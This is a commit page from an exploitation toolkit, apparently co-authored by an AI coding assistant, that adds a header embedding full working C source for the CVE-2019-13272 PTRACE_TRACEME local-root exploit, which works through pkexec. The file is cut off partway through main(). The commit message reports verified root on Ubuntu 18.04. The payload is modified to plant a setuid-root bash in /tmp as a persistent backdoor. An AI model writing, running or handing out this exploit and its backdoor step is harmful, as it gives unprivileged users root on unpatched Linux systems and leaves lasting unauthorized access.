ptrace_traceme: working CVE-2019-13272 exploit — lands real root (x86_64)
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
The bundled sequence had the mechanism backwards (it PTRACE_ATTACHed the now-root parent) and never rooted anything. Replaced it with the proven Jann Horn (Project Zero #1903) / bcoles technique: - a "middle" process execs setuid pkexec (euid 0 for a window); - its child spins until it sees middle is euid 0, calls PTRACE_TRACEME (recording middle's ROOT creds as ptracer_cred — the bug), then execs pkexec itself. The traced setuid exec is NOT degraded because ptracer_cred is root, so the child becomes real root, still traced; - staged execveat() self-re-exec injects the payload as root. The staged self-re-exec needs the exploit to exist as its own binary with an argv[0] stage dispatcher, so the proven PoC is embedded verbatim (ptrace_helper_src.h — only spawn_shell() changed, to plant a root-owned proof + setuid bash instead of only an interactive shell), compiled on the target at runtime with unique -DSK_PROOF/-DSK_ROOTBASH paths, run, and verified by stat()'ing the root-owned artifacts (never self-report). Verified out-of-band on Ubuntu 18.04.0 / 4.15.0-50: `skeletonkey --exploit ptrace_traceme` as uid 1000 -> EXPLOIT_OK + a -rwsr-xr-x root:root bash. Real-world precondition, honestly reported: pkexec must authorize an auto-discovered implicit-active=yes helper, which needs an active local session (desktop) or a permissive polkit policy; over inactive ssh it returns "Not authorized" and the module reports EXPLOIT_FAIL with that diagnosis. Gated on a C compiler + pkexec; x86_64 only (register-level injection). cleanup() removes the artifacts. Unit harness green (33 + 115). Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
@@ -0,0 +1,571 @@
|
||||
/* ptrace_helper_src.h — AUTO-GENERATED. DO NOT EDIT BY HAND.
|
||||
*
|
||||
* Embedded source of the proven CVE-2019-13272 exploit (original author
|
||||
* Jann Horn / Google Project Zero #1903; auto-targeting + helper search by
|
||||
* bcoles). The only SKELETONKEY change vs upstream is spawn_shell(): instead
|
||||
* of only dropping into an interactive shell, it plants a root-owned proof
|
||||
* file (SK_PROOF) and a setuid-root bash (SK_ROOTBASH) so the module can
|
||||
* verify root out-of-band, and only execs an interactive shell on a tty.
|
||||
* The module writes this out, compiles it with unique -DSK_PROOF/-DSK_ROOTBASH
|
||||
* paths, runs it, and stat()s the artifacts to confirm uid==0.
|
||||
*/
|
||||
static const char ptrace_traceme_helper_src[] =
|
||||
"// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n"
|
||||
"//\n"
|
||||
"// Uses pkexec technique. Requires execution within the context\n"
|
||||
"// of a user session with an active PolKit agent.\n"
|
||||
"//\n"
|
||||
"// Exploitation will fail if kernel.yama.ptrace_scope >= 2;\n"
|
||||
"// or SELinux deny_ptrace=on.\n"
|
||||
"// ---\n"
|
||||
"// Original discovery and exploit author: Jann Horn\n"
|
||||
"// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903\n"
|
||||
"// ---\n"
|
||||
"// <bcoles@gmail.com>\n"
|
||||
"// - added known helper paths\n"
|
||||
"// - added search for suitable helpers\n"
|
||||
"// - added automatic targeting\n"
|
||||
"// - changed target suid executable from passwd to pkexec\n"
|
||||
"// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272\n"
|
||||
"// ---\n"
|
||||
"// Tested on:\n"
|
||||
"// - Ubuntu 16.04.5 kernel 4.15.0-29-generic\n"
|
||||
"// - Ubuntu 18.04.1 kernel 4.15.0-20-generic\n"
|
||||
"// - Ubuntu 18.04.3 kernel 5.0.0-23-generic\n"
|
||||
"// - Ubuntu 19.04 kernel 5.0.0-15-generic\n"
|
||||
"// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic\n"
|
||||
"// - Linux Mint 17.3 kernel 4.4.0-89-generic\n"
|
||||
"// - Linux Mint 18.3 kernel 4.13.0-16-generic\n"
|
||||
"// - Linux Mint 19 kernel 4.15.0-20-generic\n"
|
||||
"// - Xubuntu 16.04.4 kernel 4.13.0-36-generic\n"
|
||||
"// - ElementaryOS 0.4.1 4.8.0-52-generic\n"
|
||||
"// - Backbox 6 kernel 4.18.0-21-generic\n"
|
||||
"// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64\n"
|
||||
"// - Kali kernel 4.19.0-kali5-amd64\n"
|
||||
"// - MX 18.3 kernel 4.19.37-2~mx17+1\n"
|
||||
"// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64\n"
|
||||
"// - CentOS 8 kernel 4.18.0-80.el8.x86_64\n"
|
||||
"// - Debian 9.4.0 kernel 4.9.0-6-amd64\n"
|
||||
"// - Debian 10.0.0 kernel 4.19.0-5-amd64\n"
|
||||
"// - Devuan 2.0.0 kernel 4.9.0-6-amd64\n"
|
||||
"// - SparkyLinux 5.8 kernel 4.19.0-5-amd64\n"
|
||||
"// - SparkyLinux 5.9 kernel 4.19.0-6-amd64\n"
|
||||
"// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64\n"
|
||||
"// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO\n"
|
||||
"// - Mageia 6 kernel 4.9.35-desktop-1.mga6\n"
|
||||
"// - Antergos 18.7 kernel 4.17.6-1-ARCH\n"
|
||||
"// - lubuntu 19.04 kernel 5.0.0-13-generic\n"
|
||||
"// - Sabayon 19.03 kernel 4.20.0-sabayon\n"
|
||||
"// - Pop! OS 19.04 kernel 5.0.0-21-generic\n"
|
||||
"// ---\n"
|
||||
"// [user@localhost CVE-2019-13272]$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root\n"
|
||||
"// [user@localhost CVE-2019-13272]$ ./ptrace_traceme_root\n"
|
||||
"// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n"
|
||||
"// [.] Checking environment ...\n"
|
||||
"// [~] Done, looks good\n"
|
||||
"// [.] Searching policies for useful helpers ...\n"
|
||||
"// [.] Ignoring helper (does not exist): /usr/sbin/pk-device-rebind\n"
|
||||
"// [.] Trying helper: /usr/libexec/gsd-backlight-helper\n"
|
||||
"// [.] Spawning suid process (/usr/bin/pkexec) ...\n"
|
||||
"// [.] Tracing midpid ...\n"
|
||||
"// [~] Attached to midpid\n"
|
||||
"// [root@localhost CVE-2019-13272]# id\n"
|
||||
"// uid=0(root) gid=0(root) groups=0(root),1000(user)\n"
|
||||
"// [root@localhost CVE-2019-13272]# uname -a\n"
|
||||
"// Linux localhost.localdomain 4.18.0-80.el8.x86_64 #1 SMP Tue Jun 4 09:19:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux\n"
|
||||
"// ---\n"
|
||||
"\n"
|
||||
"#define _GNU_SOURCE\n"
|
||||
"#include <string.h>\n"
|
||||
"#include <stdlib.h>\n"
|
||||
"#include <unistd.h>\n"
|
||||
"#include <signal.h>\n"
|
||||
"#include <stdio.h>\n"
|
||||
"#include <fcntl.h>\n"
|
||||
"#include <sched.h>\n"
|
||||
"#include <stddef.h>\n"
|
||||
"#include <stdarg.h>\n"
|
||||
"#include <pwd.h>\n"
|
||||
"#include <sys/prctl.h>\n"
|
||||
"#include <sys/wait.h>\n"
|
||||
"#include <sys/ptrace.h>\n"
|
||||
"#include <sys/user.h>\n"
|
||||
"#include <sys/syscall.h>\n"
|
||||
"#include <sys/stat.h>\n"
|
||||
"#include <linux/elf.h>\n"
|
||||
"\n"
|
||||
"#define DEBUG\n"
|
||||
"\n"
|
||||
"#ifdef DEBUG\n"
|
||||
"# define dprintf printf\n"
|
||||
"#else\n"
|
||||
"# define dprintf\n"
|
||||
"#endif\n"
|
||||
"\n"
|
||||
"/*\n"
|
||||
" * enabled automatic targeting.\n"
|
||||
" * uses pkaction to search PolKit policy actions for viable helper executables.\n"
|
||||
" */\n"
|
||||
"#define ENABLE_AUTO_TARGETING 1\n"
|
||||
"\n"
|
||||
"/*\n"
|
||||
" * fall back to known helpers if automatic targeting fails.\n"
|
||||
" * note: use of these helpers may result in PolKit authentication\n"
|
||||
" * prompts on the session associated with the PolKit agent.\n"
|
||||
" */\n"
|
||||
"#define ENABLE_FALLBACK_HELPERS 1\n"
|
||||
"\n"
|
||||
"static const char *SHELL = \"/bin/bash\";\n"
|
||||
"\n"
|
||||
"/* SKELETONKEY: out-of-band proof + persistent root artifact paths.\n"
|
||||
" * Passed in at compile time (-DSK_PROOF=... -DSK_ROOTBASH=...) so each\n"
|
||||
" * run uses a unique path; env vars can't be used because the staged\n"
|
||||
" * execveat() re-execs carry an empty environment. */\n"
|
||||
"#ifndef SK_PROOF\n"
|
||||
"#define SK_PROOF \"/tmp/.skeletonkey-ptrace-proof\"\n"
|
||||
"#endif\n"
|
||||
"#ifndef SK_ROOTBASH\n"
|
||||
"#define SK_ROOTBASH \"/tmp/.skeletonkey-ptrace-rootbash\"\n"
|
||||
"#endif\n"
|
||||
"\n"
|
||||
"static int middle_success = 1;\n"
|
||||
"static int block_pipe[2];\n"
|
||||
"static int self_fd = -1;\n"
|
||||
"static int dummy_status;\n"
|
||||
"static const char *helper_path;\n"
|
||||
"static const char *pkexec_path = \"/usr/bin/pkexec\";\n"
|
||||
"static const char *pkaction_path = \"/usr/bin/pkaction\";\n"
|
||||
"struct stat st;\n"
|
||||
"\n"
|
||||
"const char *helpers[1024];\n"
|
||||
"\n"
|
||||
"/* known helpers to use if automatic targeting fails */\n"
|
||||
"#if ENABLE_FALLBACK_HELPERS\n"
|
||||
"const char *known_helpers[] = {\n"
|
||||
" \"/usr/lib/gnome-settings-daemon/gsd-backlight-helper\",\n"
|
||||
" \"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper\",\n"
|
||||
" \"/usr/lib/unity-settings-daemon/usd-backlight-helper\",\n"
|
||||
" \"/usr/lib/unity-settings-daemon/usd-wacom-led-helper\",\n"
|
||||
" \"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper\",\n"
|
||||
" \"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper\",\n"
|
||||
" \"/usr/sbin/mate-power-backlight-helper\",\n"
|
||||
" \"/usr/sbin/xfce4-pm-helper\",\n"
|
||||
" \"/usr/bin/xfpm-power-backlight-helper\",\n"
|
||||
" \"/usr/bin/lxqt-backlight_backend\",\n"
|
||||
" \"/usr/libexec/gsd-wacom-led-helper\",\n"
|
||||
" \"/usr/libexec/gsd-wacom-oled-helper\",\n"
|
||||
" \"/usr/libexec/gsd-backlight-helper\",\n"
|
||||
" \"/usr/lib/gsd-backlight-helper\",\n"
|
||||
" \"/usr/lib/gsd-wacom-led-helper\",\n"
|
||||
" \"/usr/lib/gsd-wacom-oled-helper\",\n"
|
||||
" \"/usr/lib64/xfce4/session/xsfm-shutdown-helper\",\n"
|
||||
"};\n"
|
||||
"#endif\n"
|
||||
"\n"
|
||||
"/* helper executables known to cause problems (hang or fail) */\n"
|
||||
"const char *blacklisted_helpers[] = {\n"
|
||||
" \"/xf86-video-intel-backlight-helper\",\n"
|
||||
" \"/cpugovctl\",\n"
|
||||
" \"/resetxpad\",\n"
|
||||
" \"/package-system-locked\",\n"
|
||||
" \"/cddistupgrader\",\n"
|
||||
"};\n"
|
||||
"\n"
|
||||
"#define SAFE(expr) ({ \\\n"
|
||||
" typeof(expr) __res = (expr); \\\n"
|
||||
" if (__res == -1) { \\\n"
|
||||
" dprintf(\"[-] Error: %s\\n\", #expr); \\\n"
|
||||
" return 0; \\\n"
|
||||
" } \\\n"
|
||||
" __res; \\\n"
|
||||
"})\n"
|
||||
"#define max(a,b) ((a)>(b) ? (a) : (b))\n"
|
||||
"\n"
|
||||
"/*\n"
|
||||
" * execveat() syscall\n"
|
||||
" * https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl\n"
|
||||
" */\n"
|
||||
"#ifndef __NR_execveat\n"
|
||||
"# define __NR_execveat 322\n"
|
||||
"#endif\n"
|
||||
"\n"
|
||||
"/* temporary printf; returned pointer is valid until next tprintf */\n"
|
||||
"static char *tprintf(char *fmt, ...) {\n"
|
||||
" static char buf[10000];\n"
|
||||
" va_list ap;\n"
|
||||
" va_start(ap, fmt);\n"
|
||||
" vsprintf(buf, fmt, ap);\n"
|
||||
" va_end(ap);\n"
|
||||
" return buf;\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"/*\n"
|
||||
" * fork, execute pkexec in parent, force parent to trace our child process,\n"
|
||||
" * execute suid executable (pkexec) in child.\n"
|
||||
" */\n"
|
||||
"static int middle_main(void *dummy) {\n"
|
||||
" prctl(PR_SET_PDEATHSIG, SIGKILL);\n"
|
||||
" pid_t middle = getpid();\n"
|
||||
"\n"
|
||||
" self_fd = SAFE(open(\"/proc/self/exe\", O_RDONLY));\n"
|
||||
"\n"
|
||||
" pid_t child = SAFE(fork());\n"
|
||||
" if (child == 0) {\n"
|
||||
" prctl(PR_SET_PDEATHSIG, SIGKILL);\n"
|
||||
"\n"
|
||||
" SAFE(dup2(self_fd, 42));\n"
|
||||
"\n"
|
||||
" /* spin until our parent becomes privileged (have to be fast here) */\n"
|
||||
" int proc_fd = SAFE(open(tprintf(\"/proc/%d/status\", middle), O_RDONLY));\n"
|
||||
" char *needle = tprintf(\"\\nUid:\\t%d\\t0\\t\", getuid());\n"
|
||||
" while (1) {\n"
|
||||
" char buf[1000];\n"
|
||||
" ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));\n"
|
||||
" buf[buflen] = '\\0';\n"
|
||||
" if (strstr(buf, needle)) break;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" /*\n"
|
||||
" * this is where the bug is triggered.\n"
|
||||
" * while our parent is in the middle of pkexec, we force it to become our\n"
|
||||
" * tracer, with pkexec's creds as ptracer_cred.\n"
|
||||
" */\n"
|
||||
" SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));\n"
|
||||
"\n"
|
||||
" /*\n"
|
||||
" * now we execute a suid executable (pkexec).\n"
|
||||
" * Because the ptrace relationship is considered to be privileged,\n"
|
||||
" * this is a proper suid execution despite the attached tracer,\n"
|
||||
" * not a degraded one.\n"
|
||||
" * at the end of execve(), this process receives a SIGTRAP from ptrace.\n"
|
||||
" */\n"
|
||||
" execl(pkexec_path, basename(pkexec_path), NULL);\n"
|
||||
"\n"
|
||||
" dprintf(\"[-] execl: Executing suid executable failed\");\n"
|
||||
" exit(EXIT_FAILURE);\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" SAFE(dup2(self_fd, 0));\n"
|
||||
" SAFE(dup2(block_pipe[1], 1));\n"
|
||||
"\n"
|
||||
" /* execute pkexec as current user */\n"
|
||||
" struct passwd *pw = getpwuid(getuid());\n"
|
||||
" if (pw == NULL) {\n"
|
||||
" dprintf(\"[-] getpwuid: Failed to retrieve username\");\n"
|
||||
" exit(EXIT_FAILURE);\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" middle_success = 1;\n"
|
||||
" execl(pkexec_path, basename(pkexec_path), \"--user\", pw->pw_name,\n"
|
||||
" helper_path,\n"
|
||||
" \"--help\", NULL);\n"
|
||||
" middle_success = 0;\n"
|
||||
" dprintf(\"[-] execl: Executing pkexec failed\");\n"
|
||||
" exit(EXIT_FAILURE);\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"/* ptrace pid and wait for signal */\n"
|
||||
"static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {\n"
|
||||
" struct user_regs_struct regs;\n"
|
||||
" struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };\n"
|
||||
" SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));\n"
|
||||
" SAFE(waitpid(pid, &dummy_status, 0));\n"
|
||||
" SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));\n"
|
||||
"\n"
|
||||
" /* set up indirect arguments */\n"
|
||||
" unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;\n"
|
||||
" struct injected_page {\n"
|
||||
" unsigned long argv[2];\n"
|
||||
" unsigned long envv[1];\n"
|
||||
" char arg0[8];\n"
|
||||
" char path[1];\n"
|
||||
" } ipage = {\n"
|
||||
" .argv = { scratch_area + offsetof(struct injected_page, arg0) }\n"
|
||||
" };\n"
|
||||
" strcpy(ipage.arg0, arg0);\n"
|
||||
" int i;\n"
|
||||
" for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {\n"
|
||||
" unsigned long pdata = ((unsigned long *)&ipage)[i];\n"
|
||||
" SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),\n"
|
||||
" (void*)pdata));\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" /* execveat(exec_fd, path, argv, envv, flags) */\n"
|
||||
" regs.orig_rax = __NR_execveat;\n"
|
||||
" regs.rdi = exec_fd;\n"
|
||||
" regs.rsi = scratch_area + offsetof(struct injected_page, path);\n"
|
||||
" regs.rdx = scratch_area + offsetof(struct injected_page, argv);\n"
|
||||
" regs.r10 = scratch_area + offsetof(struct injected_page, envv);\n"
|
||||
" regs.r8 = AT_EMPTY_PATH;\n"
|
||||
"\n"
|
||||
" SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));\n"
|
||||
" SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));\n"
|
||||
" SAFE(waitpid(pid, &dummy_status, 0));\n"
|
||||
"\n"
|
||||
" return 0;\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"static int middle_stage2(void) {\n"
|
||||
" /* our child is hanging in signal delivery from execve()'s SIGTRAP */\n"
|
||||
" pid_t child = SAFE(waitpid(-1, &dummy_status, 0));\n"
|
||||
" return force_exec_and_wait(child, 42, \"stage3\");\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *\n"
|
||||
"\n"
|
||||
"static int spawn_shell(void) {\n"
|
||||
" SAFE(setresgid(0, 0, 0));\n"
|
||||
" SAFE(setresuid(0, 0, 0));\n"
|
||||
" /* SKELETONKEY payload: we are now genuinely root. Drop an out-of-band,\n"
|
||||
" * root-owned proof file and a setuid-root bash the operator can use, then\n"
|
||||
" * (only on an interactive tty) hand off an interactive root shell. In the\n"
|
||||
" * module's automated run stdin is /dev/null, so we just exit cleanly after\n"
|
||||
" * planting the artifacts — the module verifies root by stat()'ing them. */\n"
|
||||
" system(\"id > \" SK_PROOF \" 2>&1; \"\n"
|
||||
" \"cp -f /bin/bash \" SK_ROOTBASH \" 2>/dev/null; \"\n"
|
||||
" \"chown 0:0 \" SK_ROOTBASH \" 2>/dev/null; \"\n"
|
||||
" \"chmod 4755 \" SK_ROOTBASH \" 2>/dev/null; \"\n"
|
||||
" \"chown 0:0 \" SK_PROOF \" 2>/dev/null; sync\");\n"
|
||||
" if (isatty(0)) {\n"
|
||||
" execlp(SHELL, basename(SHELL), NULL);\n"
|
||||
" dprintf(\"[-] execlp: Executing shell %s failed\", SHELL);\n"
|
||||
" }\n"
|
||||
" _exit(EXIT_SUCCESS);\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *\n"
|
||||
"\n"
|
||||
"static int check_env(void) {\n"
|
||||
" int warn = 0;\n"
|
||||
" const char* xdg_session = getenv(\"XDG_SESSION_ID\");\n"
|
||||
"\n"
|
||||
" dprintf(\"[.] Checking environment ...\\n\");\n"
|
||||
"\n"
|
||||
" if (stat(pkexec_path, &st) != 0) {\n"
|
||||
" dprintf(\"[-] Could not find pkexec executable at %s\\n\", pkexec_path);\n"
|
||||
" exit(EXIT_FAILURE);\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" if (stat(\"/dev/grsec\", &st) == 0) {\n"
|
||||
" dprintf(\"[!] Warning: grsec is in use\\n\");\n"
|
||||
" warn++;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" if (xdg_session == NULL) {\n"
|
||||
" dprintf(\"[!] Warning: $XDG_SESSION_ID is not set\\n\");\n"
|
||||
" warn++;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" if (system(\"/bin/loginctl --no-ask-password show-session \\\"$XDG_SESSION_ID\\\" | /bin/grep Remote=no >>/dev/null 2>>/dev/null\") != 0) {\n"
|
||||
" dprintf(\"[!] Warning: Could not find active PolKit agent\\n\");\n"
|
||||
" warn++;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" if (system(\"/sbin/sysctl kernel.yama.ptrace_scope 2>&1 | /bin/grep -q [23]\") == 0) {\n"
|
||||
" dprintf(\"[!] Warning: kernel.yama.ptrace_scope >= 2\\n\");\n"
|
||||
" warn++;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" if (stat(\"/usr/sbin/getsebool\", &st) == 0) {\n"
|
||||
" if (system(\"/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on\") == 0) {\n"
|
||||
" dprintf(\"[!] Warning: SELinux deny_ptrace is enabled\\n\");\n"
|
||||
" warn++;\n"
|
||||
" }\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" if (warn > 0) {\n"
|
||||
" dprintf(\"[~] Done, with %d warnings\\n\", warn);\n"
|
||||
" } else {\n"
|
||||
" dprintf(\"[~] Done, looks good\\n\");\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" return warn;\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"/*\n"
|
||||
" * Use pkaction to search PolKit policy actions for viable helper executables.\n"
|
||||
" * Check each action for allow_active=yes, extract the associated helper path,\n"
|
||||
" * and check the helper path exists.\n"
|
||||
" */\n"
|
||||
"#if ENABLE_AUTO_TARGETING\n"
|
||||
"int find_helpers() {\n"
|
||||
" if (stat(pkaction_path, &st) != 0) {\n"
|
||||
" dprintf(\"[-] No helpers found. Could not find pkaction executable at %s.\\n\", pkaction_path);\n"
|
||||
" return 0;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" char cmd[1024];\n"
|
||||
" snprintf(cmd, sizeof(cmd), \"%s --verbose\", pkaction_path);\n"
|
||||
" FILE *fp;\n"
|
||||
" fp = popen(cmd, \"r\");\n"
|
||||
" if (fp == NULL) {\n"
|
||||
" dprintf(\"[-] Failed to run %s: %m\\n\", cmd);\n"
|
||||
" return 0;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" char line[1024];\n"
|
||||
" char buffer[2048];\n"
|
||||
" int helper_index = 0;\n"
|
||||
" int useful_action = 0;\n"
|
||||
" int blacklisted_helper = 0;\n"
|
||||
" static const char *needle = \"org.freedesktop.policykit.exec.path -> \";\n"
|
||||
" int needle_length = strlen(needle);\n"
|
||||
"\n"
|
||||
" while (fgets(line, sizeof(line)-1, fp) != NULL) {\n"
|
||||
" /* check the action uses allow_active=yes */\n"
|
||||
" if (strstr(line, \"implicit active:\")) {\n"
|
||||
" if (strstr(line, \"yes\")) {\n"
|
||||
" useful_action = 1;\n"
|
||||
" }\n"
|
||||
" continue;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" if (useful_action == 0)\n"
|
||||
" continue;\n"
|
||||
"\n"
|
||||
" useful_action = 0;\n"
|
||||
"\n"
|
||||
" /* extract the helper path */\n"
|
||||
" int length = strlen(line);\n"
|
||||
" char* found = memmem(&line[0], length, needle, needle_length);\n"
|
||||
" if (found == NULL)\n"
|
||||
" continue;\n"
|
||||
"\n"
|
||||
" memset(buffer, 0, sizeof(buffer));\n"
|
||||
" int i;\n"
|
||||
" for (i = 0; found[needle_length + i] != '\\n'; i++) {\n"
|
||||
" if (i >= sizeof(buffer)-1)\n"
|
||||
" continue;\n"
|
||||
" buffer[i] = found[needle_length + i];\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" /* check helper path against helpers defined in 'blacklisted_helpers' array */\n"
|
||||
" blacklisted_helper = 0;\n"
|
||||
" for (i=0; i<sizeof(blacklisted_helpers)/sizeof(blacklisted_helpers[0]); i++) {\n"
|
||||
" if (strstr(&buffer[0], blacklisted_helpers[i]) != 0) {\n"
|
||||
" dprintf(\"[.] Ignoring helper (blacklisted): %s\\n\", &buffer[0]);\n"
|
||||
" blacklisted_helper = 1;\n"
|
||||
" break;\n"
|
||||
" }\n"
|
||||
" }\n"
|
||||
" if (blacklisted_helper == 1)\n"
|
||||
" continue;\n"
|
||||
"\n"
|
||||
" /* check the path exists */\n"
|
||||
" if (stat(&buffer[0], &st) != 0) {\n"
|
||||
" dprintf(\"[.] Ignoring helper (does not exist): %s\\n\", &buffer[0]);\n"
|
||||
" continue;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" helpers[helper_index] = strndup(&buffer[0], strlen(buffer));\n"
|
||||
" helper_index++;\n"
|
||||
"\n"
|
||||
" if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))\n"
|
||||
" break;\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" pclose(fp);\n"
|
||||
" return 0;\n"
|
||||
"}\n"
|
||||
"#endif\n"
|
||||
"\n"
|
||||
"// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *\n"
|
||||
"\n"
|
||||
"int ptrace_traceme_root() {\n"
|
||||
" dprintf(\"[.] Trying helper: %s\\n\", helper_path);\n"
|
||||
"\n"
|
||||
" /*\n"
|
||||
" * set up a pipe such that the next write to it will block: packet mode,\n"
|
||||
" * limited to one packet\n"
|
||||
" */\n"
|
||||
" SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));\n"
|
||||
" SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));\n"
|
||||
" char dummy = 0;\n"
|
||||
" SAFE(write(block_pipe[1], &dummy, 1));\n"
|
||||
"\n"
|
||||
" /* spawn pkexec in a child, and continue here once our child is in execve() */\n"
|
||||
" dprintf(\"[.] Spawning suid process (%s) ...\\n\", pkexec_path);\n"
|
||||
" static char middle_stack[1024*1024];\n"
|
||||
" pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),\n"
|
||||
" CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));\n"
|
||||
" if (!middle_success) return 1;\n"
|
||||
"\n"
|
||||
" /*\n"
|
||||
" * wait for our child to go through both execve() calls (first pkexec, then\n"
|
||||
" * the executable permitted by polkit policy).\n"
|
||||
" */\n"
|
||||
" while (1) {\n"
|
||||
" int fd = open(tprintf(\"/proc/%d/comm\", midpid), O_RDONLY);\n"
|
||||
" char buf[16];\n"
|
||||
" int buflen = SAFE(read(fd, buf, sizeof(buf)-1));\n"
|
||||
" buf[buflen] = '\\0';\n"
|
||||
" *strchrnul(buf, '\\n') = '\\0';\n"
|
||||
" if (strncmp(buf, basename(helper_path), 15) == 0)\n"
|
||||
" break;\n"
|
||||
" usleep(100000);\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" /*\n"
|
||||
" * our child should have gone through both the privileged execve() and the\n"
|
||||
" * following execve() here\n"
|
||||
" */\n"
|
||||
" dprintf(\"[.] Tracing midpid ...\\n\");\n"
|
||||
" SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));\n"
|
||||
" SAFE(waitpid(midpid, &dummy_status, 0));\n"
|
||||
" dprintf(\"[~] Attached to midpid\\n\");\n"
|
||||
"\n"
|
||||
" force_exec_and_wait(midpid, 0, \"stage2\");\n"
|
||||
" exit(EXIT_SUCCESS);\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"int main(int argc, char **argv) {\n"
|
||||
" if (strcmp(argv[0], \"stage2\") == 0)\n"
|
||||
" return middle_stage2();\n"
|
||||
" if (strcmp(argv[0], \"stage3\") == 0)\n"
|
||||
" return spawn_shell();\n"
|
||||
"\n"
|
||||
" dprintf(\"Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\\n\");\n"
|
||||
"\n"
|
||||
" check_env();\n"
|
||||
"\n"
|
||||
" if (argc > 1 && strcmp(argv[1], \"check\") == 0) {\n"
|
||||
" exit(0);\n"
|
||||
" }\n"
|
||||
"\n"
|
||||
" int i;\n"
|
||||
"\n"
|
||||
"#if ENABLE_AUTO_TARGETING\n"
|
||||
" /* search polkit policies for helper executables */\n"
|
||||
" dprintf(\"[.] Searching policies for useful helpers ...\\n\");\n"
|
||||
" find_helpers();\n"
|
||||
" for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {\n"
|
||||
" if (helpers[i] == NULL)\n"
|
||||
" break;\n"
|
||||
"\n"
|
||||
" if (stat(helpers[i], &st) != 0)\n"
|
||||
" continue;\n"
|
||||
"\n"
|
||||
" helper_path = helpers[i];\n"
|
||||
" ptrace_traceme_root();\n"
|
||||
" }\n"
|
||||
"#endif\n"
|
||||
"\n"
|
||||
"#if ENABLE_FALLBACK_HELPERS\n"
|
||||
" /* search for known helpers defined in 'known_helpers' array */\n"
|
||||
" dprintf(\"[.] Searching for known helpers ...\\n\");\n"
|
||||
" for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {\n"
|
||||
" if (stat(known_helpers[i], &st) != 0)\n"
|
||||
" continue;\n"
|
||||
"\n"
|
||||
" helper_path = known_helpers[i];\n"
|
||||
